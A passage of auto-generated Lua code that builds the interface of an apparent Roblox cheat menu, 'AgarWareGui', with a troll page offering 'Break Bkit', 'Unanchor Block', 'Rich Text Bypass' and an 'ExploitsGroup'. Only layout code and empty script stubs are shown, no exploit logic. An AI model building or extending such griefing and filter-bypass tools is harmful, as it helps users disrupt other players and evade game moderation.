G2L["13a"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixHelp
G2L["13b"] = Instance.new("TextButton", G2L["138"]);
G2L["13b"]["TextSize"] = 14;
G2L["13b"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["13b"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["13b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["13b"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["13b"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["13b"]["Text"] = [[?]];
G2L["13b"]["Name"] = [[BKitFixHelp]];
G2L["13b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow
G2L["13c"] = Instance.new("Frame", G2L["131"]);
G2L["13c"]["BorderSizePixel"] = 0;
G2L["13c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13c"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["13c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["13c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13c"]["Name"] = [[BKitBreakRow]];
G2L["13c"]["LayoutOrder"] = 3;
G2L["13c"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow.BKitBreakScript
G2L["13d"] = Instance.new("LocalScript", G2L["13c"]);
G2L["13d"]["Name"] = [[BKitBreakScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow.BKitBreakButton
G2L["13e"] = Instance.new("TextButton", G2L["13c"]);
G2L["13e"]["TextSize"] = 14;
G2L["13e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["13e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13e"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["13e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["13e"]["Text"] = [[Break Bkit]];
G2L["13e"]["Name"] = [[BKitBreakButton]];
G2L["13e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow
G2L["13f"] = Instance.new("Frame", G2L["131"]);
G2L["13f"]["BorderSizePixel"] = 0;
G2L["13f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["13f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["13f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13f"]["Name"] = [[SprayRepRow]];
G2L["13f"]["LayoutOrder"] = 16;
G2L["13f"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepText
G2L["140"] = Instance.new("TextLabel", G2L["13f"]);
G2L["140"]["BorderSizePixel"] = 0;
G2L["140"]["TextSize"] = 14;
G2L["140"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["140"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["140"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["140"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["140"]["BackgroundTransparency"] = 1;
G2L["140"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["140"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["140"]["Text"] = [[Spray:]];
G2L["140"]["Name"] = [[SprayRepText]];
G2L["140"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepChanger
G2L["141"] = Instance.new("TextBox", G2L["13f"]);
G2L["141"]["Name"] = [[SprayRepChanger]];
G2L["141"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["141"]["TextWrapped"] = true;
G2L["141"]["TextSize"] = 14;
G2L["141"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["141"]["TextScaled"] = true;
G2L["141"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["141"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["141"]["PlaceholderText"] = [[(none)]];
G2L["141"]["Size"] = UDim2.new(0, 114, 0, 16);
G2L["141"]["Position"] = UDim2.new(0.29586, 0, 0.16, 0);
G2L["141"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["141"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepChanger.SprayRepScript
G2L["142"] = Instance.new("LocalScript", G2L["141"]);
G2L["142"]["Name"] = [[SprayRepScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow
G2L["143"] = Instance.new("Frame", G2L["131"]);
G2L["143"]["BorderSizePixel"] = 0;
G2L["143"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["143"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["143"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["143"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["143"]["Name"] = [[APPLYCHANGESRow]];
G2L["143"]["LayoutOrder"] = 20;
G2L["143"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow.APPLYCHANGESScript
G2L["144"] = Instance.new("LocalScript", G2L["143"]);
G2L["144"]["Name"] = [[APPLYCHANGESScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow.APPLYCHANGESButton
G2L["145"] = Instance.new("TextButton", G2L["143"]);
G2L["145"]["TextSize"] = 14;
G2L["145"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["145"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["145"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["145"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["145"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["145"]["Text"] = [[Apply Changes]];
G2L["145"]["Name"] = [[APPLYCHANGESButton]];
G2L["145"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow
G2L["146"] = Instance.new("Frame", G2L["131"]);
G2L["146"]["BorderSizePixel"] = 0;
G2L["146"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["146"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["146"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["146"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["146"]["Name"] = [[UnanchorRepRow]];
G2L["146"]["LayoutOrder"] = 13;
G2L["146"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepScript
G2L["147"] = Instance.new("LocalScript", G2L["146"]);
G2L["147"]["Name"] = [[UnanchorRepScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepTickBox
G2L["148"] = Instance.new("TextButton", G2L["146"]);
G2L["148"]["TextSize"] = 14;
G2L["148"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["148"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["148"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["148"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["148"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["148"]["Text"] = [[]];
G2L["148"]["Name"] = [[UnanchorRepTickBox]];
G2L["148"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepText
G2L["149"] = Instance.new("TextLabel", G2L["146"]);
G2L["149"]["BorderSizePixel"] = 0;
G2L["149"]["TextSize"] = 14;
G2L["149"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["149"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["149"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["149"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["149"]["BackgroundTransparency"] = 1;
G2L["149"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["149"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["149"]["Text"] = [[Unanchor Block]];
G2L["149"]["Name"] = [[UnanchorRepText]];
G2L["149"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepLabelRow
G2L["14a"] = Instance.new("Frame", G2L["131"]);
G2L["14a"]["BorderSizePixel"] = 0;
G2L["14a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["14a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["14a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14a"]["Name"] = [[MaterialRepLabelRow]];
G2L["14a"]["LayoutOrder"] = 18;
G2L["14a"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepLabelRow.MaterialRapLabelText
G2L["14b"] = Instance.new("TextLabel", G2L["14a"]);
G2L["14b"]["BorderSizePixel"] = 0;
G2L["14b"]["TextSize"] = 14;
G2L["14b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["14b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14b"]["BackgroundTransparency"] = 1;
G2L["14b"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["14b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14b"]["Text"] = [[Material:]];
G2L["14b"]["Name"] = [[MaterialRapLabelText]];
G2L["14b"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow
G2L["14c"] = Instance.new("Frame", G2L["131"]);
G2L["14c"]["BorderSizePixel"] = 0;
G2L["14c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14c"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["14c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["14c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14c"]["Name"] = [[MaterialRepRow]];
G2L["14c"]["LayoutOrder"] = 19;
G2L["14c"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow.MaterialRepScript
G2L["14d"] = Instance.new("LocalScript", G2L["14c"]);
G2L["14d"]["Name"] = [[MaterialRepScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow.MaterialRepDropdown
G2L["14e"] = Instance.new("TextButton", G2L["14c"]);
G2L["14e"]["TextSize"] = 14;
G2L["14e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["14e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14e"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["14e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["14e"]["Text"] = [[]];
G2L["14e"]["Name"] = [[MaterialRepDropdown]];
G2L["14e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow
G2L["14f"] = Instance.new("Frame", G2L["131"]);
G2L["14f"]["BorderSizePixel"] = 0;
G2L["14f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["14f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["14f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14f"]["Name"] = [[ColorRepRow]];
G2L["14f"]["LayoutOrder"] = 14;
G2L["14f"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepText
G2L["150"] = Instance.new("TextLabel", G2L["14f"]);
G2L["150"]["BorderSizePixel"] = 0;
G2L["150"]["TextSize"] = 14;
G2L["150"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["150"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["150"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["150"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["150"]["BackgroundTransparency"] = 1;
G2L["150"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["150"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["150"]["Text"] = [[Block Color:]];
G2L["150"]["Name"] = [[ColorRepText]];
G2L["150"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepButton
G2L["151"] = Instance.new("TextButton", G2L["14f"]);
G2L["151"]["BorderSizePixel"] = 0;
G2L["151"]["TextSize"] = 14;
G2L["151"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["151"]["BackgroundColor3"] = Color3.fromRGB(193, 193, 193);
G2L["151"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["151"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["151"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["151"]["Text"] = [[]];
G2L["151"]["Name"] = [[ColorRepButton]];
G2L["151"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepButton.ColorRepButtonScript
G2L["152"] = Instance.new("LocalScript", G2L["151"]);
G2L["152"]["Name"] = [[ColorRepButtonScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow
G2L["153"] = Instance.new("Frame", G2L["131"]);
G2L["153"]["BorderSizePixel"] = 0;
G2L["153"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["153"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["153"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["153"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["153"]["Name"] = [[SprayColorRepRow]];
G2L["153"]["LayoutOrder"] = 15;
G2L["153"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepText
G2L["154"] = Instance.new("TextLabel", G2L["153"]);
G2L["154"]["BorderSizePixel"] = 0;
G2L["154"]["TextSize"] = 14;
G2L["154"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["154"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["154"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["154"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["154"]["BackgroundTransparency"] = 1;
G2L["154"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["154"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["154"]["Text"] = [[Spray Color:]];
G2L["154"]["Name"] = [[SprayColorRepText]];
G2L["154"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepButton
G2L["155"] = Instance.new("TextButton", G2L["153"]);
G2L["155"]["BorderSizePixel"] = 0;
G2L["155"]["TextSize"] = 14;
G2L["155"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["155"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["155"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["155"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["155"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["155"]["Text"] = [[]];
G2L["155"]["Name"] = [[SprayColorRepButton]];
G2L["155"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepButton.SprayColorRepButtonScript
G2L["156"] = Instance.new("LocalScript", G2L["155"]);
G2L["156"]["Name"] = [[SprayColorRepButtonScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow
G2L["157"] = Instance.new("Frame", G2L["131"]);
G2L["157"]["BorderSizePixel"] = 0;
G2L["157"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["157"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["157"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["157"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["157"]["Name"] = [[DefaultRepRow]];
G2L["157"]["LayoutOrder"] = 21;
G2L["157"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow.DefaultRepScript
G2L["158"] = Instance.new("LocalScript", G2L["157"]);
G2L["158"]["Name"] = [[DefaultRepScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow.DefaultRepButton
G2L["159"] = Instance.new("TextButton", G2L["157"]);
G2L["159"]["TextSize"] = 14;
G2L["159"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["159"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["159"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["159"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["159"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["159"]["Text"] = [[Set Default Colors]];
G2L["159"]["Name"] = [[DefaultRepButton]];
G2L["159"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RowREPSTART
G2L["15a"] = Instance.new("Frame", G2L["131"]);
G2L["15a"]["BackgroundColor3"] = Color3.fromRGB(89, 89, 89);
G2L["15a"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["15a"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["15a"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["15a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["15a"]["Name"] = [[RowREPSTART]];
G2L["15a"]["LayoutOrder"] = 10;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RowREPSPACESTART
G2L["15b"] = Instance.new("Frame", G2L["131"]);
G2L["15b"]["BorderSizePixel"] = 0;
G2L["15b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15b"]["Size"] = UDim2.new(0, 169, 0, 8);
G2L["15b"]["Position"] = UDim2.new(0.00294, 0, 0.26136, 0);
G2L["15b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15b"]["Name"] = [[RowREPSPACESTART]];
G2L["15b"]["LayoutOrder"] = 9;
G2L["15b"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepRepRow
G2L["15c"] = Instance.new("TextLabel", G2L["131"]);
G2L["15c"]["TextWrapped"] = true;
G2L["15c"]["BorderSizePixel"] = 0;
G2L["15c"]["TextSize"] = 14;
G2L["15c"]["TextScaled"] = true;
G2L["15c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15c"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["15c"]["BackgroundTransparency"] = 0.95;
G2L["15c"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["15c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15c"]["Text"] = [[Customize Block]];
G2L["15c"]["LayoutOrder"] = 11;
G2L["15c"]["Name"] = [[RepRepRow]];
G2L["15c"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow
G2L["15d"] = Instance.new("Frame", G2L["131"]);
G2L["15d"]["BorderSizePixel"] = 0;
G2L["15d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["15d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["15d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15d"]["Name"] = [[RichTextRepRow]];
G2L["15d"]["LayoutOrder"] = 17;
G2L["15d"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepScript
G2L["15e"] = Instance.new("LocalScript", G2L["15d"]);
G2L["15e"]["Name"] = [[RichTextRepScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepTickBox
G2L["15f"] = Instance.new("TextButton", G2L["15d"]);
G2L["15f"]["TextSize"] = 14;
G2L["15f"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15f"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["15f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["15f"]["Text"] = [[]];
G2L["15f"]["Name"] = [[RichTextRepTickBox]];
G2L["15f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepText
G2L["160"] = Instance.new("TextLabel", G2L["15d"]);
G2L["160"]["BorderSizePixel"] = 0;
G2L["160"]["TextSize"] = 14;
G2L["160"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["160"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["160"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["160"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["160"]["BackgroundTransparency"] = 1;
G2L["160"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["160"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["160"]["Text"] = [[Rich Text Bypass]];
G2L["160"]["Name"] = [[RichTextRepText]];
G2L["160"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow
G2L["161"] = Instance.new("Frame", G2L["131"]);
G2L["161"]["BorderSizePixel"] = 0;
G2L["161"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["161"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["161"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["161"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["161"]["Name"] = [[RestoreBrickRow]];
G2L["161"]["LayoutOrder"] = 4;
G2L["161"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickScript
G2L["162"] = Instance.new("LocalScript", G2L["161"]);
G2L["162"]["Name"] = [[RestoreBrickScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickButton
G2L["163"] = Instance.new("TextButton", G2L["161"]);
G2L["163"]["TextSize"] = 14;
G2L["163"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["163"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["163"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["163"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["163"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["163"]["Text"] = [[Restore Brick]];
G2L["163"]["Name"] = [[RestoreBrickButton]];
G2L["163"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickHelp
G2L["164"] = Instance.new("TextButton", G2L["161"]);
G2L["164"]["TextSize"] = 14;
G2L["164"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["164"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["164"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["164"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["164"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["164"]["Text"] = [[?]];
G2L["164"]["Name"] = [[RestoreBrickHelp]];
G2L["164"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup
G2L["165"] = Instance.new("Frame", G2L["12f"]);
G2L["165"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["165"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["165"]["Size"] = UDim2.new(0, 170, 0, 80);
G2L["165"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["165"]["Name"] = [[ExploitsGroup]];
G2L["165"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsScript
G2L["166"] = Instance.new("LocalScript", G2L["165"]);
G2L["166"]["Name"] = [[ExploitsScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UIListLayout
G2L["167"] = Instance.new("UIListLayout", G2L["165"]);
G2L["167"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
